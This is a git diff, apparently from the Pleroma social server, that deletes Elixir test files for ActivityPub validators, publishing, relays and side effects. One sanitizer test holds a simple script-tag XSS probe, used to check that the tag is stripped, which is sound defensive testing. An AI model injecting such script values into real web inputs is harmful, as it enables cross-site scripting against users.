type" do - Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) - - message = %{ - "type" => "Like", - "object" => "whatever" - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - - test "it rejects based on child object type" do - Pleroma.Config.put([:mrf_vocabulary, :reject], ["Note"]) - - message = %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "whatever" - } - } - - {:reject, _} = VocabularyPolicy.filter(message) - end - - test "it passes through objects that aren't disallowed" do - Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) - - message = %{ - "type" => "Announce", - "object" => "whatever" - } - - {:ok, ^message} = VocabularyPolicy.filter(message) - end - end -end diff --git a/test/web/activity_pub/object_validators/types/date_time_test.exs b/test/web/activity_pub/object_validators/types/date_time_test.exs deleted file mode 100644 index 10310c801..000000000 --- a/test/web/activity_pub/object_validators/types/date_time_test.exs +++ /dev/null @@ -1,36 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.Types.DateTimeTest do - alias Pleroma.EctoType.ActivityPub.ObjectValidators.DateTime - use Pleroma.DataCase - - test "it validates an xsd:Datetime" do - valid_strings = [ - "2004-04-12T13:20:00", - "2004-04-12T13:20:15.5", - "2004-04-12T13:20:00-05:00", - "2004-04-12T13:20:00Z" - ] - - invalid_strings = [ - "2004-04-12T13:00", - "2004-04-1213:20:00", - "99-04-12T13:00", - "2004-04-12" - ] - - assert {:ok, "2004-04-01T12:00:00Z"} == DateTime.cast("2004-04-01T12:00:00Z") - - Enum.each(valid_strings, fn date_time -> - result = DateTime.cast(date_time) - assert {:ok, _} = result - end) - - Enum.each(invalid_strings, fn date_time -> - result = DateTime.cast(date_time) - assert :error == result - end) - end -end diff --git a/test/web/activity_pub/object_validators/types/object_id_test.exs b/test/web/activity_pub/object_validators/types/object_id_test.exs deleted file mode 100644 index e0ab76379..000000000 --- a/test/web/activity_pub/object_validators/types/object_id_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ObjectValidators.Types.ObjectIDTest do - alias Pleroma.EctoType.ActivityPub.ObjectValidators.ObjectID - use Pleroma.DataCase - - @uris [ - "http://lain.com/users/lain", - "http://lain.com", - "https://lain.com/object/1" - ] - - @non_uris [ - "https://", - "rin", - 1, - :x, - %{"1" => 2} - ] - - test "it accepts http uris" do - Enum.each(@uris, fn uri -> - assert {:ok, uri} == ObjectID.cast(uri) - end) - end - - test "it accepts an object with a nested uri id" do - Enum.each(@uris, fn uri -> - assert {:ok, uri} == ObjectID.cast(%{"id" => uri}) - end) - end - - test "it rejects non-uri strings" do - Enum.each(@non_uris, fn non_uri -> - assert :error == ObjectID.cast(non_uri) - assert :error == ObjectID.cast(%{"id" => non_uri}) - end) - end -end diff --git a/test/web/activity_pub/object_validators/types/recipients_test.exs b/test/web/activity_pub/object_validators/types/recipients_test.exs deleted file mode 100644 index c09265f0d..000000000 --- a/test/web/activity_pub/object_validators/types/recipients_test.exs +++ /dev/null @@ -1,31 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ObjectValidators.Types.RecipientsTest do - alias Pleroma.EctoType.ActivityPub.ObjectValidators.Recipients - use Pleroma.DataCase - - test "it asserts that all elements of the list are object ids" do - list = ["https://lain.com/users/lain", "invalid"] - - assert :error == Recipients.cast(list) - end - - test "it works with a list" do - list = ["https://lain.com/users/lain"] - assert {:ok, list} == Recipients.cast(list) - end - - test "it works with a list with whole objects" do - list = ["https://lain.com/users/lain", %{"id" => "https://gensokyo.2hu/users/raymoo"}] - resulting_list = ["https://gensokyo.2hu/users/raymoo", "https://lain.com/users/lain"] - assert {:ok, resulting_list} == Recipients.cast(list) - end - - test "it turns a single string into a list" do - recipient = "https://lain.com/users/lain" - - assert {:ok, [recipient]} == Recipients.cast(recipient) - end -end diff --git a/test/web/activity_pub/object_validators/types/safe_text_test.exs b/test/web/activity_pub/object_validators/types/safe_text_test.exs deleted file mode 100644 index 9c08606f6..000000000 --- a/test/web/activity_pub/object_validators/types/safe_text_test.exs +++ /dev/null @@ -1,30 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.Types.SafeTextTest do - use Pleroma.DataCase - - alias Pleroma.EctoType.ActivityPub.ObjectValidators.SafeText - - test "it lets normal text go through" do - text = "hey how are you" - assert {:ok, text} == SafeText.cast(text) - end - - test "it removes html tags from text" do - text = "hey look xss <script>alert('foo')</script>" - assert {:ok, "hey look xss alert('foo')"} == SafeText.cast(text) - end - - test "it keeps basic html tags" do - text = "hey <a href='http://gensokyo.2hu'>look</a> xss <script>alert('foo')</script>" - - assert {:ok, "hey <a href=\"http://gensokyo.2hu\">look</a> xss alert('foo')"} == - SafeText.cast(text) - end - - test "errors for non-text" do - assert :error == SafeText.cast(1) - end -end diff --git a/test/web/activity_pub/pipeline_test.exs b/test/web/activity_pub/pipeline_test.exs deleted file mode 100644 index 210a06563..000000000 --- a/test/web/activity_pub/pipeline_test.exs +++ /dev/null @@ -1,179 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.PipelineTest do - use Pleroma.DataCase - - import Mock - import Pleroma.Factory - - describe "common_pipeline/2" do - setup do - clear_config([:instance, :federating], true) - :ok - end - - test "when given an `object_data` in meta, Federation will receive a the original activity with the `object` field set to this embedded object" do - activity = insert(:note_activity) - object = %{"id" => "1", "type" => "Love"} - meta = [local: true, object_data: object] - - activity_with_object = %{activity | data: Map.put(activity.data, "object", object)} - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [ - handle: fn o, m -> {:ok, o, m} end, - handle_after_transaction: fn m -> m end - ] - }, - { - Pleroma.Web.Federator, - [], - [publish: fn _o -> :ok end] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - refute called(Pleroma.Web.Federator.publish(activity)) - assert_called(Pleroma.Web.Federator.publish(activity_with_object)) - end - end - - test "it goes through validation, filtering, persisting, side effects and federation for local activities" do - activity = insert(:note_activity) - meta = [local: true] - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [ - handle: fn o, m -> {:ok, o, m} end, - handle_after_transaction: fn m -> m end - ] - }, - { - Pleroma.Web.Federator, - [], - [publish: fn _o -> :ok end] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - assert_called(Pleroma.Web.Federator.publish(activity)) - end - end - - test "it goes through validation, filtering, persisting, side effects without federation for remote activities" do - activity = insert(:note_activity) - meta = [local: false] - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] - }, - { - Pleroma.Web.Federator, - [], - [] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - end - end - - test "it goes through validation, filtering, persisting, side effects without federation for local activities if federation is deactivated" do - clear_config([:instance, :federating], false) - - activity = insert(:note_activity) - meta = [local: true] - - with_mocks([ - {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, - { - Pleroma.Web.ActivityPub.MRF, - [], - [pipeline_filter: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.ActivityPub, - [], - [persist: fn o, m -> {:ok, o, m} end] - }, - { - Pleroma.Web.ActivityPub.SideEffects, - [], - [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] - }, - { - Pleroma.Web.Federator, - [], - [] - } - ]) do - assert {:ok, ^activity, ^meta} = - Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) - - assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) - assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) - end - end - end -end diff --git a/test/web/activity_pub/publisher_test.exs b/test/web/activity_pub/publisher_test.exs deleted file mode 100644 index b9388b966..000000000 --- a/test/web/activity_pub/publisher_test.exs +++ /dev/null @@ -1,365 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.PublisherTest do - use Pleroma.Web.ConnCase - - import ExUnit.CaptureLog - import Pleroma.Factory - import Tesla.Mock - import Mock - - alias Pleroma.Activity - alias Pleroma.Instances - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Publisher - alias Pleroma.Web.CommonAPI - - @as_public "https://www.w3.org/ns/activitystreams#Public" - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup_all do: clear_config([:instance, :federating], true) - - describe "gather_webfinger_links/1" do - test "it returns links" do - user = insert(:user) - - expected_links = [ - %{"href" => user.ap_id, "rel" => "self", "type" => "application/activity+json"}, - %{ - "href" => user.ap_id, - "rel" => "self", - "type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - }, - %{ - "rel" => "http://ostatus.org/schema/1.0/subscribe", - "template" => "#{Pleroma.Web.base_url()}/ostatus_subscribe?acct={uri}" - } - ] - - assert expected_links == Publisher.gather_webfinger_links(user) - end - end - - describe "determine_inbox/2" do - test "it returns sharedInbox for messages involving as:Public in to" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - - activity = %Activity{ - data: %{"to" => [@as_public], "cc" => [user.follower_address]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving as:Public in cc" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - - activity = %Activity{ - data: %{"cc" => [@as_public], "to" => [user.follower_address]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving multiple recipients in to" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - user_two = insert(:user) - user_three = insert(:user) - - activity = %Activity{ - data: %{"cc" => [], "to" => [user.ap_id, user_two.ap_id, user_three.ap_id]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving multiple recipients in cc" do - user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) - user_two = insert(:user) - user_three = insert(:user) - - activity = %Activity{ - data: %{"to" => [], "cc" => [user.ap_id, user_two.ap_id, user_three.ap_id]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns sharedInbox for messages involving multiple recipients in total" do - user = - insert(:user, %{ - shared_inbox: "http://example.com/inbox", - inbox: "http://example.com/personal-inbox" - }) - - user_two = insert(:user) - - activity = %Activity{ - data: %{"to" => [user_two.ap_id], "cc" => [user.ap_id]} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" - end - - test "it returns inbox for messages involving single recipients in total" do - user = - insert(:user, %{ - shared_inbox: "http://example.com/inbox", - inbox: "http://example.com/personal-inbox" - }) - - activity = %Activity{ - data: %{"to" => [user.ap_id], "cc" => []} - } - - assert Publisher.determine_inbox(activity, user) == "http://example.com/personal-inbox" - end - end - - describe "publish_one/1" do - test "publish to url with with different ports" do - inbox80 = "http://42.site/users/nick1/inbox" - inbox42 = "http://42.site:42/users/nick1/inbox" - - mock(fn - %{method: :post, url: "http://42.site:42/users/nick1/inbox"} -> - {:ok, %Tesla.Env{status: 200, body: "port 42"}} - - %{method: :post, url: "http://42.site/users/nick1/inbox"} -> - {:ok, %Tesla.Env{status: 200, body: "port 80"}} - end) - - actor = insert(:user) - - assert {:ok, %{body: "port 42"}} = - Publisher.publish_one(%{ - inbox: inbox42, - json: "{}", - actor: actor, - id: 1, - unreachable_since: true - }) - - assert {:ok, %{body: "port 80"}} = - Publisher.publish_one(%{ - inbox: inbox80, - json: "{}", - actor: actor, - id: 1, - unreachable_since: true - }) - end - - test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - assert called(Instances.set_reachable(inbox)) - end - - test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = - Publisher.publish_one(%{ - inbox: inbox, - json: "{}", - actor: actor, - id: 1, - unreachable_since: NaiveDateTime.utc_now() - }) - - assert called(Instances.set_reachable(inbox)) - end - - test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = - Publisher.publish_one(%{ - inbox: inbox, - json: "{}", - actor: actor, - id: 1, - unreachable_since: nil - }) - - refute called(Instances.set_reachable(inbox)) - end - - test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://404.site/users/nick1/inbox" - - assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - - assert called(Instances.set_unreachable(inbox)) - end - - test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://connrefused.site/users/nick1/inbox" - - assert capture_log(fn -> - assert {:error, _} = - Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - end) =~ "connrefused" - - assert called(Instances.set_unreachable(inbox)) - end - - test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://200.site/users/nick1/inbox" - - assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - - refute called(Instances.set_unreachable(inbox)) - end - - test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://connrefused.site/users/nick1/inbox" - - assert capture_log(fn -> - assert {:error, _} = - Publisher.publish_one(%{ - inbox: inbox, - json: "{}", - actor: actor, - id: 1, - unreachable_since: NaiveDateTime.utc_now() - }) - end) =~ "connrefused" - - refute called(Instances.set_unreachable(inbox)) - end - end - - describe "publish/2" do - test_with_mock "publishes an activity with BCC to all relevant peers.", - Pleroma.Web.Federator.Publisher, - [:passthrough], - [] do - follower = - insert(:user, %{ - local: false, - inbox: "https://domain.com/users/nick1/inbox", - ap_enabled: true - }) - - actor = insert(:user, follower_address: follower.ap_id) - user = insert(:user) - - {:ok, _follower_one} = Pleroma.User.follow(follower, actor) - actor = refresh_record(actor) - - note_activity = - insert(:note_activity, - recipients: [follower.ap_id], - data_attrs: %{"bcc" => [user.ap_id]} - ) - - res = Publisher.publish(actor, note_activity) - assert res == :ok - - assert called( - Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ - inbox: "https://domain.com/users/nick1/inbox", - actor_id: actor.id, - id: note_activity.data["id"] - }) - ) - end - - test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.", - Pleroma.Web.Federator.Publisher, - [:passthrough], - [] do - fetcher = - insert(:user, - local: false, - inbox: "https://domain.com/users/nick1/inbox", - ap_enabled: true - ) - - another_fetcher = - insert(:user, - local: false, - inbox: "https://domain2.com/users/nick1/inbox", - ap_enabled: true - ) - - actor = insert(:user) - - note_activity = insert(:note_activity, user: actor) - object = Object.normalize(note_activity) - - activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url()) - object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, fetcher) - |> get(object_path) - |> json_response(200) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, another_fetcher) - |> get(activity_path) - |> json_response(200) - - {:ok, delete} = CommonAPI.delete(note_activity.id, actor) - - res = Publisher.publish(actor, delete) - assert res == :ok - - assert called( - Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ - inbox: "https://domain.com/users/nick1/inbox", - actor_id: actor.id, - id: delete.data["id"] - }) - ) - - assert called( - Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ - inbox: "https://domain2.com/users/nick1/inbox", - actor_id: actor.id, - id: delete.data["id"] - }) - ) - end - end -end diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs deleted file mode 100644 index 3284980f7..000000000 --- a/test/web/activity_pub/relay_test.exs +++ /dev/null @@ -1,168 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.RelayTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Pleroma.Factory - import Mock - - test "gets an actor for the relay" do - user = Relay.get_actor() - assert user.ap_id == "#{Pleroma.Web.Endpoint.url()}/relay" - end - - test "relay actor is invisible" do - user = Relay.get_actor() - assert User.invisible?(user) - end - - describe "follow/1" do - test "returns errors when user not found" do - assert capture_log(fn -> - {:error, _} = Relay.follow("test-ap-id") - end) =~ "Could not decode user at fetch" - end - - test "returns activity" do - user = insert(:user) - service_actor = Relay.get_actor() - assert {:ok, %Activity{} = activity} = Relay.follow(user.ap_id) - assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" - assert user.ap_id in activity.recipients - assert activity.data["type"] == "Follow" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["object"] == user.ap_id - end - end - - describe "unfollow/1" do - test "returns errors when user not found" do - assert capture_log(fn -> - {:error, _} = Relay.unfollow("test-ap-id") - end) =~ "Could not decode user at fetch" - end - - test "returns activity" do - user = insert(:user) - service_actor = Relay.get_actor() - CommonAPI.follow(service_actor, user) - assert "#{user.ap_id}/followers" in User.following(service_actor) - assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id) - assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" - assert user.ap_id in activity.recipients - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["to"] == [user.ap_id] - refute "#{user.ap_id}/followers" in User.following(service_actor) - end - - test "force unfollow when target service is dead" do - user = insert(:user) - user_ap_id = user.ap_id - user_id = user.id - - Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} -> - %Tesla.Env{status: 404} - end) - - service_actor = Relay.get_actor() - CommonAPI.follow(service_actor, user) - assert "#{user.ap_id}/followers" in User.following(service_actor) - - assert Pleroma.Repo.get_by( - Pleroma.FollowingRelationship, - follower_id: service_actor.id, - following_id: user_id - ) - - Pleroma.Repo.delete(user) - Cachex.clear(:user_cache) - - assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true}) - - assert refresh_record(service_actor).following_count == 0 - - refute Pleroma.Repo.get_by( - Pleroma.FollowingRelationship, - follower_id: service_actor.id, - following_id: user_id - ) - - assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" - assert user.ap_id in activity.recipients - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["to"] == [user_ap_id] - refute "#{user.ap_id}/followers" in User.following(service_actor) - end - end - - describe "publish/1" do - setup do: clear_config([:instance, :federating]) - - test "returns error when activity not `Create` type" do - activity = insert(:like_activity) - assert Relay.publish(activity) == {:error, "Not implemented"} - end - - @tag capture_log: true - test "returns error when activity not public" do - activity = insert(:direct_note_activity) - assert Relay.publish(activity) == {:error, false} - end - - test "returns error when object is unknown" do - activity = - insert(:note_activity, - data: %{ - "type" => "Create", - "object" => "http://mastodon.example.org/eee/99541947525187367" - } - ) - - Tesla.Mock.mock(fn - %{method: :get, url: "http://mastodon.example.org/eee/99541947525187367"} -> - %Tesla.Env{status: 500, body: ""} - end) - - assert capture_log(fn -> - assert Relay.publish(activity) == {:error, false} - end) =~ "[error] error: false" - end - - test_with_mock "returns announce activity and publish to federate", - Pleroma.Web.Federator, - [:passthrough], - [] do - clear_config([:instance, :federating], true) - service_actor = Relay.get_actor() - note = insert(:note_activity) - assert {:ok, %Activity{} = activity} = Relay.publish(note) - assert activity.data["type"] == "Announce" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["to"] == [service_actor.follower_address] - assert called(Pleroma.Web.Federator.publish(activity)) - end - - test_with_mock "returns announce activity and not publish to federate", - Pleroma.Web.Federator, - [:passthrough], - [] do - clear_config([:instance, :federating], false) - service_actor = Relay.get_actor() - note = insert(:note_activity) - assert {:ok, %Activity{} = activity} = Relay.publish(note) - assert activity.data["type"] == "Announce" - assert activity.data["actor"] == service_actor.ap_id - refute called(Pleroma.Web.Federator.publish(activity)) - end - end -end diff --git a/test/web/activity_pub/side_effects_test.exs b/test/web/activity_pub/side_effects_test.exs deleted file mode 100644 index 9efbaad04..000000000 --- a/test/web/activity_pub/side_effects_test.exs +++ /dev/null @@ -1,639 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.SideEffectsTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.SideEffects - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Mock - import Pleroma.Factory - - describe "handle_after_transaction" do - test "it streams out notifications and streams" do - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - assert [notification] = meta[:notifications] - - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> nil end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - SideEffects.handle_after_transaction(meta) - - assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) - assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) - assert called(Pleroma.Web.Push.send(notification)) - end - end - end - - describe "blocking users" do - setup do - user = insert(:user) - blocked = insert(:user) - User.follow(blocked, user) - User.follow(user, blocked) - - {:ok, block_data, []} = Builder.block(user, blocked) - {:ok, block, _meta} = ActivityPub.persist(block_data, local: true) - - %{user: user, blocked: blocked, block: block} - end - - test "it unfollows and blocks", %{user: user, blocked: blocked, block: block} do - assert User.following?(user, blocked) - assert User.following?(blocked, user) - - {:ok, _, _} = SideEffects.handle(block) - - refute User.following?(user, blocked) - refute User.following?(blocked, user) - assert User.blocks?(user, blocked) - end - - test "it blocks but does not unfollow if the relevant setting is set", %{ - user: user, - blocked: blocked, - block: block - } do - clear_config([:activitypub, :unfollow_blocked], false) - assert User.following?(user, blocked) - assert User.following?(blocked, user) - - {:ok, _, _} = SideEffects.handle(block) - - refute User.following?(user, blocked) - assert User.following?(blocked, user) - assert User.blocks?(user, blocked) - end - end - - describe "update users" do - setup do - user = insert(:user) - {:ok, update_data, []} = Builder.update(user, %{"id" => user.ap_id, "name" => "new name!"}) - {:ok, update, _meta} = ActivityPub.persist(update_data, local: true) - - %{user: user, update_data: update_data, update: update} - end - - test "it updates the user", %{user: user, update: update} do - {:ok, _, _} = SideEffects.handle(update) - user = User.get_by_id(user.id) - assert user.name == "new name!" - end - - test "it uses a given changeset to update", %{user: user, update: update} do - changeset = Ecto.Changeset.change(user, %{default_scope: "direct"}) - - assert user.default_scope == "public" - {:ok, _, _} = SideEffects.handle(update, user_update_changeset: changeset) - user = User.get_by_id(user.id) - assert user.default_scope == "direct" - end - end - - describe "delete objects" do - setup do - user = insert(:user) - other_user = insert(:user) - - {:ok, op} = CommonAPI.post(other_user, %{status: "big oof"}) - {:ok, post} = CommonAPI.post(user, %{status: "hey", in_reply_to_id: op}) - {:ok, favorite} = CommonAPI.favorite(user, post.id) - object = Object.normalize(post) - {:ok, delete_data, _meta} = Builder.delete(user, object.data["id"]) - {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) - {:ok, delete, _meta} = ActivityPub.persist(delete_data, local: true) - {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) - - %{ - user: user, - delete: delete, - post: post, - object: object, - delete_user: delete_user, - op: op, - favorite: favorite - } - end - - test "it handles object deletions", %{ - delete: delete, - post: post, - object: object, - user: user, - op: op, - favorite: favorite - } do - with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], - stream_out: fn _ -> nil end, - stream_out_participations: fn _, _ -> nil end do - {:ok, delete, _} = SideEffects.handle(delete) - user = User.get_cached_by_ap_id(object.data["actor"]) - - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) - end - - object = Object.get_by_id(object.id) - assert object.data["type"] == "Tombstone" - refute Activity.get_by_id(post.id) - refute Activity.get_by_id(favorite.id) - - user = User.get_by_id(user.id) - assert user.note_count == 0 - - object = Object.normalize(op.data["object"], false) - - assert object.data["repliesCount"] == 0 - end - - test "it handles object deletions when the object itself has been pruned", %{ - delete: delete, - post: post, - object: object, - user: user, - op: op - } do - with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], - stream_out: fn _ -> nil end, - stream_out_participations: fn _, _ -> nil end do - {:ok, delete, _} = SideEffects.handle(delete) - user = User.get_cached_by_ap_id(object.data["actor"]) - - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) - end - - object = Object.get_by_id(object.id) - assert object.data["type"] == "Tombstone" - refute Activity.get_by_id(post.id) - - user = User.get_by_id(user.id) - assert user.note_count == 0 - - object = Object.normalize(op.data["object"], false) - - assert object.data["repliesCount"] == 0 - end - - test "it handles user deletions", %{delete_user: delete, user: user} do - {:ok, _delete, _} = SideEffects.handle(delete) - ObanHelpers.perform_all() - - assert User.get_cached_by_ap_id(user.ap_id).deactivated - end - - test "it logs issues with objects deletion", %{ - delete: delete, - object: object - } do - {:ok, object} = - object - |> Object.change(%{data: 